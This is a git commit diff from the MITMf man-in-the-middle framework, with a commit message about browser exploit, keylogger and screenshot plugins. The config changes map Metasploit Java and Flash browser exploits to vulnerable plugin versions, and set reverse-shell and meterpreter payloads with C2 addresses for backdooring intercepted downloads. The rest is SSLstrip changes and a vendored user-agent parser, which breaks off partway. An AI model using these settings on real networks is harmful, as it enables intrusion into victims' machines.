mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-07-07 05:22:15 -07:00
This commit is just to push the changes so far to github , still have to tidy things up here and there and fix some bugs (also I really hate javascript)
JavaPwn plugin has been renamed to BrowserSniper (cause it now supports java, flash and browser exploits), it's been completly re-written along with it's config file section Addition of the screenshotter plugin, currently there is a bug when decoding the base64 encoded png files (a very wierd one) , but other than that it works (did i mention i hate js?) Jskeylogger's javscript now works on every browser except FF mobile (have no clue what's with that) p.s. did i mention i hate JS? Plugins that deal with javascript now read it from a file as supposed to having it built in (encoding issues) fu javascript User agent parsing is now built in and handled by core/httpagentparser.py, this because the user-agent library is a pain to install on some distros , also removes 3-4 deps which is a plus also fuck javascript
This commit is contained in:
parent
86870b8b72
commit
ff39a302f9
32 changed files with 4378 additions and 681 deletions
|
@ -72,9 +72,9 @@ How to install on Kali
|
||||||
Installation
|
Installation
|
||||||
============
|
============
|
||||||
If MITMf is not in your distros repo or you just want the latest version:
|
If MITMf is not in your distros repo or you just want the latest version:
|
||||||
- clone this repository
|
- Clone this repository
|
||||||
- run the ```setup.sh``` script
|
- Run the ```setup.sh``` script
|
||||||
- run the command ```pip install -r requirements.txt``` to install all python dependencies
|
- Run the command ```pip install -r requirements.txt``` to install all python dependencies
|
||||||
|
|
||||||
On Kali Linux, if you get an error while installing the ```pypcap``` package or when starting MITMf you see: ```ImportError: no module named pcap``` run ```apt-get install python-pypcap``` to fix it.
|
On Kali Linux, if you get an error while installing the ```pypcap``` package or when starting MITMf you see: ```ImportError: no module named pcap``` run ```apt-get install python-pypcap``` to fix it.
|
||||||
|
|
||||||
|
|
|
@ -18,7 +18,8 @@
|
||||||
pass = beef
|
pass = beef
|
||||||
|
|
||||||
[[Metasploit]]
|
[[Metasploit]]
|
||||||
msfport = 8080 #Port to start webserver for exploits
|
|
||||||
|
msfport = 8080 #Port to start Metasploit's webserver on that will host exploits
|
||||||
rpcip = 127.0.0.1
|
rpcip = 127.0.0.1
|
||||||
rpcpass = abc123
|
rpcpass = abc123
|
||||||
|
|
||||||
|
@ -231,37 +232,90 @@
|
||||||
skip_in_mass_poison=1
|
skip_in_mass_poison=1
|
||||||
#you can add other scripts in additional sections like jQuery etc.
|
#you can add other scripts in additional sections like jQuery etc.
|
||||||
|
|
||||||
[BrowserPwn]
|
[BrowserSniper]
|
||||||
|
#
|
||||||
|
# Currently only supports java, flash and browser exploits
|
||||||
|
#
|
||||||
|
# The version strings were pulled from http://www.cvedetails.com
|
||||||
|
#
|
||||||
|
# When adding java exploits remember the following format: version string (eg 1.6.0) + update version (eg 28) = 1.6.0.28
|
||||||
|
#
|
||||||
|
|
||||||
#
|
[[multi/browser/java_rhino]] #Exploit's MSF path
|
||||||
# All versions strings without a * are considered vulnerable if clients Java version is <= update version
|
|
||||||
# When adding more exploits remember the following format: version string (eg 1.6.0) + update version (eg 28) = 1.6.0.28
|
Type = PluginVuln #Can be set to PluginVuln, BrowserVuln
|
||||||
#
|
OS = Any #Can be set to Any, Windows or Windows + version (e.g Windows 8.1)
|
||||||
|
|
||||||
[[Multi]] #Cross platform exploits, yay java! <3
|
Browser = Any #Can be set to Any, Chrome, Firefox, IE or browser + version (e.g IE 6)
|
||||||
|
Plugin = Java #Can be set to Java, Flash (if Type is BrowserVuln will be ignored)
|
||||||
|
|
||||||
multi/browser/java_rhino = 1.6.0.28, 1.7.0.28
|
#An exact list of the plugin versions affected (if Type is BrowserVuln will be ignored)
|
||||||
multi/browser/java_calendar_deserialize = 1.6.0.10, 1.5.0.16
|
PluginVersions = 1.6.0, 1.6.0.1, 1.6.0.10, 1.6.0.11, 1.6.0.12, 1.6.0.13, 1.6.0.14, 1.6.0.15, 1.6.0.16, 1.6.0.17, 1.6.0.18, 1.6.0.19, 1.6.0.2, 1.6.0.20, 1.6.0.21, 1.6.0.22, 1.6.0.23, 1.6.0.24, 1.6.0.25, 1.6.0.26, 1.6.0.27, 1.6.0.3, 1.6.0.4, 1.6.0.5, 1.6.0.6, 1.6.0.7, 1.7.0
|
||||||
multi/browser/java_getsoundbank_bof = 1.6.0.16, 1.5.0.21, 1.4.2.23, 1.3.1.26
|
|
||||||
multi/browser/java_atomicreferencearray = 1.6.0.30, 1.5.0.33, 1.7.0.2
|
|
||||||
multi/browser/java_jre17_exec = 1.7.0.6
|
|
||||||
multi/browser/java_jre17_jaxws = 1.7.0.7
|
|
||||||
multi/browser/java_jre17_jmxbean = 1.7.0.10
|
|
||||||
multi/browser/java_jre17_jmxbean_2 = 1.7.0.11
|
|
||||||
multi/browser/java_jre17_reflection_types = 1.7.0.17
|
|
||||||
multi/browser/java_verifier_field_access = 1.7.0.4, 1.6.0.32, 1.5.0.35, 1.4.2.37
|
|
||||||
multi/browser/java_jre17_glassfish_averagerangestatisticimpl = 1.7.0.7
|
|
||||||
multi/browser/java_jre17_method_handle = 1.7.0.7
|
|
||||||
multi/browser/java_jre17_driver_manager = 1.7.0.17
|
|
||||||
multi/browser/java_jre17_provider_skeleton = 1.7.0.21
|
|
||||||
multi/browser/java_storeimagearray = 1.7.0.21
|
|
||||||
multi/browser/java_setdifficm_bof = *1.6.0.16, *1.6.0.11
|
|
||||||
|
|
||||||
[[Windows]] #These are windows specific
|
[[multi/browser/java_atomicreferencearray]]
|
||||||
|
|
||||||
windows/browser/java_ws_double_quote = 1.6.0.35, 1.7.0.7
|
Type = PluginVuln
|
||||||
windows/browser/java_cmm = 1.6.0.41, 1.7.0.15
|
OS = Any
|
||||||
windows/browser/java_mixer_sequencer = 1.6.0.18
|
Browser = Any
|
||||||
|
Plugin = Java
|
||||||
|
PluginVersions = 1.5.0, 1.5.0.1, 1.5.0.10, 1.5.0.11, 1.5.0.12, 1.5.0.13, 1.5.0.14, 1.5.0.15, 1.5.0.16, 1.5.0.17, 1.5.0.18, 1.5.0.19, 1.5.0.2, 1.5.0.20, 1.5.0.21, 1.5.0.22, 1.5.0.23, 1.5.0.24, 1.5.0.25, 1.5.0.26, 1.5.0.27, 1.5.0.28, 1.5.0.29, 1.5.0.3, 1.5.0.31, 1.5.0.33, 1.5.0.4, 1.5.0.5, 1.5.0.6, 1.5.0.7, 1.5.0.8, 1.5.0.9, 1.6.0, 1.6.0.1, 1.6.0.10, 1.6.0.11, 1.6.0.12, 1.6.0.13, 1.6.0.14, 1.6.0.15, 1.6.0.16, 1.6.0.17, 1.6.0.18, 1.6.0.19, 1.6.0.2, 1.6.0.20, 1.6.0.21, 1.6.0.22, 1.6.0.24, 1.6.0.25, 1.6.0.26, 1.6.0.27, 1.6.0.29, 1.6.0.3, 1.6.0.30, 1.6.0.4, 1.6.0.5, 1.6.0.6, 1.6.0.7, 1.7.0, 1.7.0.1, 1.7.0.2
|
||||||
|
|
||||||
|
[[multi/browser/java_jre17_jmxbean_2]]
|
||||||
|
|
||||||
|
Type = PluginVuln
|
||||||
|
OS = Any
|
||||||
|
Browser = Any
|
||||||
|
Plugin = Java
|
||||||
|
PluginVersions = 1.7.0, 1.7.0.1, 1.7.0.10, 1.7.0.11, 1.7.0.2, 1.7.0.3, 1.7.0.4, 1.7.0.5, 1.7.0.6, 1.7.0.7, 1.7.0.9
|
||||||
|
|
||||||
|
[[multi/browser/java_jre17_reflection_types]]
|
||||||
|
|
||||||
|
Type = PluginVuln
|
||||||
|
OS = Any
|
||||||
|
Browser = Any
|
||||||
|
Plugin = Java
|
||||||
|
PluginVersions = 1.7.0, 1.7.0.1, 1.7.0.10, 1.7.0.11, 1.7.0.13, 1.7.0.15, 1.7.0.17, 1.7.0.2, 1.7.0.3, 1.7.0.4, 1.7.0.5, 1.7.0.6, 1.7.0.7, 1.7.0.9
|
||||||
|
|
||||||
|
[[multi/browser/java_verifier_field_access]]
|
||||||
|
|
||||||
|
Type = PluginVuln
|
||||||
|
OS = Any
|
||||||
|
Browser = Any
|
||||||
|
Plugin = Java
|
||||||
|
PluginVersions = 1.4.2.37, 1.5.0.35, 1.6.0.32, 1.7.0.4
|
||||||
|
|
||||||
|
[[multi/browser/java_jre17_provider_skeleton]]
|
||||||
|
|
||||||
|
Type = PluginVuln
|
||||||
|
OS = Any
|
||||||
|
Browser = Any
|
||||||
|
Plugin = Java
|
||||||
|
PluginVersions = 1.7.0, 1.7.0.1, 1.7.0.10, 1.7.0.11, 1.7.0.13, 1.7.0.15, 1.7.0.17, 1.7.0.2, 1.7.0.21, 1.7.0.3, 1.7.0.4, 1.7.0.5, 1.7.0.6, 1.7.0.7, 1.7.0.9
|
||||||
|
|
||||||
|
|
||||||
|
[[exploit/windows/browser/adobe_flash_pcre]]
|
||||||
|
|
||||||
|
Type = PluginVuln
|
||||||
|
OS = Windows
|
||||||
|
Browser = Any
|
||||||
|
Plugin = Flash
|
||||||
|
PluginVersions = 11.2.202.440, 13.0.0.264, 14.0.0.125, 14.0.0.145, 14.0.0.176, 14.0.0.179, 15.0.0.152, 15.0.0.167, 15.0.0.189, 15.0.0.223, 15.0.0.239, 15.0.0.246, 16.0.0.235, 16.0.0.257, 16.0.0.287, 16.0.0.296
|
||||||
|
|
||||||
|
[[exploit/windows/browser/adobe_flash_net_connection_confusion]]
|
||||||
|
|
||||||
|
Type = PluginVuln
|
||||||
|
OS = Windows
|
||||||
|
Browser = Any
|
||||||
|
Plugin = Flash
|
||||||
|
PluginVersions = 13.0.0.264, 14.0.0.125, 14.0.0.145, 14.0.0.176, 14.0.0.179, 15.0.0.152, 15.0.0.167, 15.0.0.189, 15.0.0.223, 15.0.0.239, 15.0.0.246, 16.0.0.235, 16.0.0.257, 16.0.0.287, 16.0.0.296, 16.0.0.305
|
||||||
|
|
||||||
|
[[exploit/windows/browser/adobe_flash_copy_pixels_to_byte_array]]
|
||||||
|
|
||||||
|
Type = PluginVuln
|
||||||
|
OS = Windows
|
||||||
|
Browser = Any
|
||||||
|
Plugin = Flash
|
||||||
|
PluginVersions = 11.2.202.223, 11.2.202.228, 11.2.202.233, 11.2.202.235, 11.2.202.236, 11.2.202.238, 11.2.202.243, 11.2.202.251, 11.2.202.258, 11.2.202.261, 11.2.202.262, 11.2.202.270, 11.2.202.273,11.2.202.275, 11.2.202.280, 11.2.202.285, 11.2.202.291, 11.2.202.297, 11.2.202.310, 11.2.202.332, 11.2.202.335, 11.2.202.336, 11.2.202.341, 11.2.202.346, 11.2.202.350, 11.2.202.356, 11.2.202.359, 11.2.202.378, 11.2.202.394, 11.2.202.400, 13.0.0.111, 13.0.0.182, 13.0.0.201, 13.0.0.206, 13.0.0.214, 13.0.0.223, 13.0.0.231, 13.0.0.241, 13.0.0.83, 14.0.0.110, 14.0.0.125, 14.0.0.137, 14.0.0.145, 14.0.0.176, 14.0.0.178, 14.0.0.179, 15.0.0.144
|
||||||
|
|
||||||
[SSLstrip+]
|
[SSLstrip+]
|
||||||
|
|
||||||
|
@ -315,91 +369,93 @@
|
||||||
# Tested on Kali-Linux.
|
# Tested on Kali-Linux.
|
||||||
|
|
||||||
[[ZIP]]
|
[[ZIP]]
|
||||||
# patchCount is the max number of files to patch in a zip file
|
# patchCount is the max number of files to patch in a zip file
|
||||||
# After the max is reached it will bypass the rest of the files
|
# After the max is reached it will bypass the rest of the files
|
||||||
# and send on it's way
|
# and send on it's way
|
||||||
|
|
||||||
patchCount = 5
|
patchCount = 5
|
||||||
|
|
||||||
# In Bytes
|
# In Bytes
|
||||||
maxSize = 40000000
|
maxSize = 40000000
|
||||||
|
|
||||||
blacklist = .dll, #don't do dlls in a zip file
|
blacklist = .dll, #don't do dlls in a zip file
|
||||||
|
|
||||||
[[TAR]]
|
[[TAR]]
|
||||||
# patchCount is the max number of files to patch in a tar file
|
# patchCount is the max number of files to patch in a tar file
|
||||||
# After the max is reached it will bypass the rest of the files
|
# After the max is reached it will bypass the rest of the files
|
||||||
# and send on it's way
|
# and send on it's way
|
||||||
|
|
||||||
patchCount = 5
|
patchCount = 5
|
||||||
|
|
||||||
# In Bytes
|
# In Bytes
|
||||||
maxSize = 40000000
|
maxSize = 40000000
|
||||||
|
|
||||||
blacklist = , # a comma is null do not leave blank
|
blacklist = , # a comma is null do not leave blank
|
||||||
|
|
||||||
[[targets]]
|
[[targets]]
|
||||||
#MAKE SURE that your settings for host and port DO NOT
|
#MAKE SURE that your settings for host and port DO NOT
|
||||||
# overlap between different types of payloads
|
# overlap between different types of payloads
|
||||||
|
|
||||||
[[[ALL]]] # DEFAULT settings for all targets REQUIRED
|
[[[ALL]]] # DEFAULT settings for all targets REQUIRED
|
||||||
|
|
||||||
LinuxType = ALL # choices: x86/x64/ALL/None
|
|
||||||
WindowsType = ALL # choices: x86/x64/ALL/None
|
|
||||||
FatPriority = x64 # choices: x86 or x64
|
|
||||||
|
|
||||||
FileSizeMax = 60000000 # ~60 MB (just under) No patching of files this large
|
|
||||||
|
|
||||||
CompressedFiles = True #True/False
|
LinuxType = ALL # choices: x86/x64/ALL/None
|
||||||
|
WindowsType = ALL # choices: x86/x64/ALL/None
|
||||||
|
FatPriority = x64 # choices: x86 or x64
|
||||||
|
|
||||||
[[[[LinuxIntelx86]]]]
|
FileSizeMax = 60000000 # ~60 MB (just under) No patching of files this large
|
||||||
SHELL = reverse_shell_tcp # This is the BDF syntax
|
|
||||||
HOST = 192.168.1.168 # The C2
|
|
||||||
PORT = 8888
|
|
||||||
SUPPLIED_SHELLCODE = None
|
|
||||||
MSFPAYLOAD = linux/x86/shell_reverse_tcp # MSF syntax
|
|
||||||
|
|
||||||
[[[[LinuxIntelx64]]]]
|
|
||||||
SHELL = reverse_shell_tcp
|
|
||||||
HOST = 192.168.1.16
|
|
||||||
PORT = 9999
|
|
||||||
SUPPLIED_SHELLCODE = None
|
|
||||||
MSFPAYLOAD = linux/x64/shell_reverse_tcp
|
|
||||||
|
|
||||||
[[[[WindowsIntelx86]]]]
|
CompressedFiles = True #True/False
|
||||||
PATCH_TYPE = SINGLE #JUMP/SINGLE/APPEND
|
|
||||||
# PATCH_METHOD overwrites PATCH_TYPE with jump
|
[[[[LinuxIntelx86]]]]
|
||||||
PATCH_METHOD = automatic
|
SHELL = reverse_shell_tcp # This is the BDF syntax
|
||||||
HOST = 192.168.1.16
|
HOST = 192.168.1.168 # The C2
|
||||||
PORT = 8443
|
PORT = 8888
|
||||||
SHELL = iat_reverse_tcp_stager_threaded
|
SUPPLIED_SHELLCODE = None
|
||||||
SUPPLIED_SHELLCODE = None
|
MSFPAYLOAD = linux/x86/shell_reverse_tcp # MSF syntax
|
||||||
ZERO_CERT = False
|
|
||||||
PATCH_DLL = True
|
[[[[LinuxIntelx64]]]]
|
||||||
MSFPAYLOAD = windows/meterpreter/reverse_tcp
|
SHELL = reverse_shell_tcp
|
||||||
|
HOST = 192.168.1.16
|
||||||
|
PORT = 9999
|
||||||
|
SUPPLIED_SHELLCODE = None
|
||||||
|
MSFPAYLOAD = linux/x64/shell_reverse_tcp
|
||||||
|
|
||||||
[[[[WindowsIntelx64]]]]
|
[[[[WindowsIntelx86]]]]
|
||||||
PATCH_TYPE = APPEND #JUMP/SINGLE/APPEND
|
PATCH_TYPE = APPEND #JUMP/SINGLE/APPEND
|
||||||
# PATCH_METHOD overwrites PATCH_TYPE with jump
|
# PATCH_METHOD overwrites PATCH_TYPE with jump
|
||||||
PATCH_METHOD = automatic
|
# PATCH_METHOD = automatic
|
||||||
HOST = 192.168.1.16
|
PATCH_METHOD =
|
||||||
PORT = 8088
|
HOST = 192.168.1.16
|
||||||
SHELL = iat_reverse_tcp_stager_threaded
|
PORT = 8443
|
||||||
SUPPLIED_SHELLCODE = None
|
SHELL = iat_reverse_tcp_stager_threaded
|
||||||
ZERO_CERT = True
|
SUPPLIED_SHELLCODE = None
|
||||||
PATCH_DLL = False
|
ZERO_CERT = True
|
||||||
MSFPAYLOAD = windows/x64/shell/reverse_tcp
|
PATCH_DLL = False
|
||||||
|
MSFPAYLOAD = windows/meterpreter/reverse_tcp
|
||||||
|
|
||||||
[[[[MachoIntelx86]]]]
|
[[[[WindowsIntelx64]]]]
|
||||||
SHELL = reverse_shell_tcp
|
PATCH_TYPE = APPEND #JUMP/SINGLE/APPEND
|
||||||
HOST = 192.168.1.16
|
# PATCH_METHOD overwrites PATCH_TYPE with jump
|
||||||
PORT = 4444
|
# PATCH_METHOD = automatic
|
||||||
SUPPLIED_SHELLCODE = None
|
PATCH_METHOD =
|
||||||
MSFPAYLOAD = linux/x64/shell_reverse_tcp
|
HOST = 192.168.1.16
|
||||||
|
PORT = 8088
|
||||||
|
SHELL = iat_reverse_tcp_stager_threaded
|
||||||
|
SUPPLIED_SHELLCODE = None
|
||||||
|
ZERO_CERT = True
|
||||||
|
PATCH_DLL = False
|
||||||
|
MSFPAYLOAD = windows/x64/shell/reverse_tcp
|
||||||
|
|
||||||
[[[[MachoIntelx64]]]]
|
[[[[MachoIntelx86]]]]
|
||||||
SHELL = reverse_shell_tcp
|
SHELL = reverse_shell_tcp
|
||||||
HOST = 192.168.1.16
|
HOST = 192.168.1.16
|
||||||
PORT = 5555
|
PORT = 4444
|
||||||
SUPPLIED_SHELLCODE = None
|
SUPPLIED_SHELLCODE = None
|
||||||
MSFPAYLOAD = linux/x64/shell_reverse_tcp
|
MSFPAYLOAD = linux/x64/shell_reverse_tcp
|
||||||
|
|
||||||
|
[[[[MachoIntelx64]]]]
|
||||||
|
SHELL = reverse_shell_tcp
|
||||||
|
HOST = 192.168.1.16
|
||||||
|
PORT = 5555
|
||||||
|
SUPPLIED_SHELLCODE = None
|
||||||
|
MSFPAYLOAD = linux/x64/shell_reverse_tcp
|
||||||
|
|
|
@ -82,26 +82,11 @@ class SSLServerConnection(ServerConnection):
|
||||||
self.buildAbsoluteLink(match.group(1))
|
self.buildAbsoluteLink(match.group(1))
|
||||||
|
|
||||||
return data
|
return data
|
||||||
|
|
||||||
def replaceFavicon(self, data):
|
|
||||||
match = re.search(SSLServerConnection.iconExpression, data)
|
|
||||||
|
|
||||||
if (match != None):
|
|
||||||
data = re.sub(SSLServerConnection.iconExpression,
|
|
||||||
"<link rel=\"SHORTCUT ICON\" href=\"/favicon-x-favicon-x.ico\">", data)
|
|
||||||
else:
|
|
||||||
data = re.sub(SSLServerConnection.headExpression,
|
|
||||||
"<head><link rel=\"SHORTCUT ICON\" href=\"/favicon-x-favicon-x.ico\">", data)
|
|
||||||
|
|
||||||
return data
|
|
||||||
|
|
||||||
def replaceSecureLinks(self, data):
|
def replaceSecureLinks(self, data):
|
||||||
data = ServerConnection.replaceSecureLinks(self, data)
|
data = ServerConnection.replaceSecureLinks(self, data)
|
||||||
data = self.replaceCssLinks(data)
|
data = self.replaceCssLinks(data)
|
||||||
|
|
||||||
if (self.urlMonitor.isFaviconSpoofing()):
|
|
||||||
data = self.replaceFavicon(data)
|
|
||||||
|
|
||||||
iterator = re.finditer(SSLServerConnection.linkExpression, data)
|
iterator = re.finditer(SSLServerConnection.linkExpression, data)
|
||||||
|
|
||||||
for match in iterator:
|
for match in iterator:
|
673
core/httpagentparser.py
Normal file
673
core/httpagentparser.py
Normal file
|
@ -0,0 +1,673 @@
|
||||||
|
#
|
||||||
|
#httpagentparser library, stolen from https://github.com/shon/httpagentparser
|
||||||
|
#
|
||||||
|
|
||||||
|
"""
|
||||||
|
Extract client information from http user agent
|
||||||
|
The module does not try to detect all capabilities of browser in current form (it can easily be extended though).
|
||||||
|
Tries to
|
||||||
|
* be fast
|
||||||
|
* very easy to extend
|
||||||
|
* reliable enough for practical purposes
|
||||||
|
* assist python web apps to detect clients.
|
||||||
|
"""
|
||||||
|
|
||||||
|
__version__ = '1.7.7'
|
||||||
|
|
||||||
|
|
||||||
|
class DetectorsHub(dict):
|
||||||
|
_known_types = ['os', 'dist', 'flavor', 'browser']
|
||||||
|
|
||||||
|
def __init__(self, *args, **kw):
|
||||||
|
dict.__init__(self, *args, **kw)
|
||||||
|
for typ in self._known_types:
|
||||||
|
self.setdefault(typ, [])
|
||||||
|
self.registerDetectors()
|
||||||
|
|
||||||
|
def register(self, detector):
|
||||||
|
if detector.info_type not in self._known_types:
|
||||||
|
self[detector.info_type] = [detector]
|
||||||
|
self._known_types.insert(detector.order, detector.info_type)
|
||||||
|
else:
|
||||||
|
self[detector.info_type].append(detector)
|
||||||
|
|
||||||
|
def __iter__(self):
|
||||||
|
return iter(self._known_types)
|
||||||
|
|
||||||
|
def registerDetectors(self):
|
||||||
|
detectors = [v() for v in globals().values() if DetectorBase in getattr(v, '__mro__', [])]
|
||||||
|
for d in detectors:
|
||||||
|
if d.can_register:
|
||||||
|
self.register(d)
|
||||||
|
|
||||||
|
|
||||||
|
class DetectorBase(object):
|
||||||
|
name = "" # "to perform match in DetectorsHub object"
|
||||||
|
info_type = "override me"
|
||||||
|
result_key = "override me"
|
||||||
|
order = 10 # 0 is highest
|
||||||
|
look_for = "string to look for"
|
||||||
|
skip_if_found = [] # strings if present stop processin
|
||||||
|
can_register = False
|
||||||
|
version_markers = [("/", " ")]
|
||||||
|
allow_space_in_version = False
|
||||||
|
_suggested_detectors = None
|
||||||
|
platform = None
|
||||||
|
bot = False
|
||||||
|
|
||||||
|
def __init__(self):
|
||||||
|
if not self.name:
|
||||||
|
self.name = self.__class__.__name__
|
||||||
|
self.can_register = (self.__class__.__dict__.get('can_register', True))
|
||||||
|
|
||||||
|
def detect(self, agent, result):
|
||||||
|
# -> True/None
|
||||||
|
word = self.checkWords(agent)
|
||||||
|
if word:
|
||||||
|
result[self.info_type] = dict(name=self.name)
|
||||||
|
result['bot'] = self.bot
|
||||||
|
version = self.getVersion(agent, word)
|
||||||
|
if version:
|
||||||
|
result[self.info_type]['version'] = version
|
||||||
|
if self.platform:
|
||||||
|
result['platform'] = {'name': self.platform, 'version': version}
|
||||||
|
return True
|
||||||
|
|
||||||
|
def checkWords(self, agent):
|
||||||
|
# -> True/None
|
||||||
|
for w in self.skip_if_found:
|
||||||
|
if w in agent:
|
||||||
|
return False
|
||||||
|
if isinstance(self.look_for, (tuple, list)):
|
||||||
|
for word in self.look_for:
|
||||||
|
if word in agent:
|
||||||
|
return word
|
||||||
|
elif self.look_for in agent:
|
||||||
|
return self.look_for
|
||||||
|
|
||||||
|
def getVersion(self, agent, word):
|
||||||
|
"""
|
||||||
|
=> version string /None
|
||||||
|
"""
|
||||||
|
version_markers = self.version_markers if \
|
||||||
|
isinstance(self.version_markers[0], (list, tuple)) else [self.version_markers]
|
||||||
|
version_part = agent.split(word, 1)[-1]
|
||||||
|
for start, end in version_markers:
|
||||||
|
if version_part.startswith(start) and end in version_part:
|
||||||
|
version = version_part[1:]
|
||||||
|
if end: # end could be empty string
|
||||||
|
version = version.split(end)[0]
|
||||||
|
if not self.allow_space_in_version:
|
||||||
|
version = version.split()[0]
|
||||||
|
return version
|
||||||
|
|
||||||
|
|
||||||
|
class OS(DetectorBase):
|
||||||
|
info_type = "os"
|
||||||
|
can_register = False
|
||||||
|
version_markers = [";", " "]
|
||||||
|
allow_space_in_version = True
|
||||||
|
platform = None
|
||||||
|
|
||||||
|
|
||||||
|
class Dist(DetectorBase):
|
||||||
|
info_type = "dist"
|
||||||
|
can_register = False
|
||||||
|
platform = None
|
||||||
|
|
||||||
|
|
||||||
|
class Flavor(DetectorBase):
|
||||||
|
info_type = "flavor"
|
||||||
|
can_register = False
|
||||||
|
platform = None
|
||||||
|
|
||||||
|
|
||||||
|
class Browser(DetectorBase):
|
||||||
|
info_type = "browser"
|
||||||
|
can_register = False
|
||||||
|
|
||||||
|
|
||||||
|
class Firefox(Browser):
|
||||||
|
look_for = "Firefox"
|
||||||
|
version_markers = [('/', '')]
|
||||||
|
skip_if_found = ["SeaMonkey", "web/snippet"]
|
||||||
|
|
||||||
|
|
||||||
|
class SeaMonkey(Browser):
|
||||||
|
look_for = "SeaMonkey"
|
||||||
|
version_markers = [('/', '')]
|
||||||
|
|
||||||
|
|
||||||
|
class Konqueror(Browser):
|
||||||
|
look_for = "Konqueror"
|
||||||
|
version_markers = ["/", ";"]
|
||||||
|
|
||||||
|
|
||||||
|
class OperaMobile(Browser):
|
||||||
|
look_for = "Opera Mobi"
|
||||||
|
name = "Opera Mobile"
|
||||||
|
|
||||||
|
def getVersion(self, agent, word):
|
||||||
|
try:
|
||||||
|
look_for = "Version"
|
||||||
|
return agent.split(look_for)[1][1:].split(' ')[0]
|
||||||
|
except IndexError:
|
||||||
|
look_for = "Opera"
|
||||||
|
return agent.split(look_for)[1][1:].split(' ')[0]
|
||||||
|
|
||||||
|
|
||||||
|
class Opera(Browser):
|
||||||
|
look_for = "Opera"
|
||||||
|
|
||||||
|
def getVersion(self, agent, word):
|
||||||
|
try:
|
||||||
|
look_for = "Version"
|
||||||
|
return agent.split(look_for)[1][1:].split(' ')[0]
|
||||||
|
except IndexError:
|
||||||
|
look_for = "Opera"
|
||||||
|
version = agent.split(look_for)[1][1:].split(' ')[0]
|
||||||
|
return version.split('(')[0]
|
||||||
|
|
||||||
|
|
||||||
|
class OperaNew(Browser):
|
||||||
|
"""
|
||||||
|
Opera after version 15
|
||||||
|
"""
|
||||||
|
name = "Opera"
|
||||||
|
look_for = "OPR"
|
||||||
|
version_markers = [('/', '')]
|
||||||
|
|
||||||
|
|
||||||
|
class Netscape(Browser):
|
||||||
|
look_for = "Netscape"
|
||||||
|
version_markers = [("/", '')]
|
||||||
|
|
||||||
|
|
||||||
|
class Trident(Browser):
|
||||||
|
look_for = "Trident"
|
||||||
|
skip_if_found = ["MSIE", "Opera"]
|
||||||
|
name = "IE"
|
||||||
|
version_markers = ["/", ";"]
|
||||||
|
trident_to_ie_versions = {
|
||||||
|
'4.0': '8.0',
|
||||||
|
'5.0': '9.0',
|
||||||
|
'6.0': '10.0',
|
||||||
|
'7.0': '11.0',
|
||||||
|
}
|
||||||
|
|
||||||
|
def getVersion(self, agent, word):
|
||||||
|
return self.trident_to_ie_versions.get(super(Trident, self).getVersion(agent, word))
|
||||||
|
|
||||||
|
|
||||||
|
class MSIE(Browser):
|
||||||
|
look_for = "MSIE"
|
||||||
|
skip_if_found = ["Opera"]
|
||||||
|
name = "IE"
|
||||||
|
version_markers = [" ", ";"]
|
||||||
|
|
||||||
|
|
||||||
|
class Galeon(Browser):
|
||||||
|
look_for = "Galeon"
|
||||||
|
|
||||||
|
|
||||||
|
class WOSBrowser(Browser):
|
||||||
|
look_for = "wOSBrowser"
|
||||||
|
|
||||||
|
def getVersion(self, agent, word):
|
||||||
|
pass
|
||||||
|
|
||||||
|
|
||||||
|
class Safari(Browser):
|
||||||
|
look_for = "Safari"
|
||||||
|
|
||||||
|
def checkWords(self, agent):
|
||||||
|
unless_list = ["Chrome", "OmniWeb", "wOSBrowser", "Android"]
|
||||||
|
if self.look_for in agent:
|
||||||
|
for word in unless_list:
|
||||||
|
if word in agent:
|
||||||
|
return False
|
||||||
|
return self.look_for
|
||||||
|
|
||||||
|
def getVersion(self, agent, word):
|
||||||
|
if "Version/" in agent:
|
||||||
|
return agent.split('Version/')[-1].split(' ')[0].strip()
|
||||||
|
if "Safari/" in agent:
|
||||||
|
return agent.split('Safari/')[-1].split(' ')[0].strip()
|
||||||
|
else:
|
||||||
|
return agent.split('Safari ')[-1].split(' ')[0].strip() # Mobile Safari
|
||||||
|
|
||||||
|
class GoogleBot(Browser):
|
||||||
|
# https://support.google.com/webmasters/answer/1061943
|
||||||
|
look_for = ["Googlebot", "Googlebot-News", "Googlebot-Image",
|
||||||
|
"Googlebot-Video", "Googlebot-Mobile", "Mediapartners-Google",
|
||||||
|
"Mediapartners", "AdsBot-Google", "web/snippet"]
|
||||||
|
bot = True
|
||||||
|
version_markers = [('/', ';'), ('/', ' ')]
|
||||||
|
|
||||||
|
class GoogleFeedFetcher(Browser):
|
||||||
|
look_for = "Feedfetcher-Google"
|
||||||
|
bot = True
|
||||||
|
|
||||||
|
def get_version(self, agent):
|
||||||
|
pass
|
||||||
|
|
||||||
|
class RunscopeRadar(Browser):
|
||||||
|
look_for = "runscope-radar"
|
||||||
|
bot = True
|
||||||
|
|
||||||
|
class GoogleAppEngine(Browser):
|
||||||
|
look_for = "AppEngine-Google"
|
||||||
|
bot = True
|
||||||
|
|
||||||
|
def get_version(self, agent):
|
||||||
|
pass
|
||||||
|
|
||||||
|
class GoogleApps(Browser):
|
||||||
|
look_for = "GoogleApps script"
|
||||||
|
bot = True
|
||||||
|
|
||||||
|
def get_version(self, agent):
|
||||||
|
pass
|
||||||
|
|
||||||
|
class TwitterBot(Browser):
|
||||||
|
look_for = "Twitterbot"
|
||||||
|
bot = True
|
||||||
|
|
||||||
|
class MJ12Bot(Browser):
|
||||||
|
look_for = "MJ12bot"
|
||||||
|
bot = True
|
||||||
|
|
||||||
|
class YandexBot(Browser):
|
||||||
|
# http://help.yandex.com/search/robots/agent.xml
|
||||||
|
look_for = "Yandex"
|
||||||
|
bot = True
|
||||||
|
|
||||||
|
def getVersion(self, agent, word):
|
||||||
|
return agent[agent.index('Yandex'):].split('/')[-1].split(')')[0].strip()
|
||||||
|
|
||||||
|
class BingBot(Browser):
|
||||||
|
look_for = "bingbot"
|
||||||
|
version_markers = ["/", ";"]
|
||||||
|
bot = True
|
||||||
|
|
||||||
|
|
||||||
|
class BaiduBot(Browser):
|
||||||
|
# http://help.baidu.com/question?prod_en=master&class=1&id=1000973
|
||||||
|
look_for = ["Baiduspider", "Baiduspider-image", "Baiduspider-video",
|
||||||
|
"Baiduspider-news", "Baiduspider-favo", "Baiduspider-cpro",
|
||||||
|
"Baiduspider-ads"]
|
||||||
|
bot = True
|
||||||
|
version_markers = ('/', ';')
|
||||||
|
|
||||||
|
|
||||||
|
class LinkedInBot(Browser):
|
||||||
|
look_for = "LinkedInBot"
|
||||||
|
bot = True
|
||||||
|
|
||||||
|
class ArchiveDotOrgBot(Browser):
|
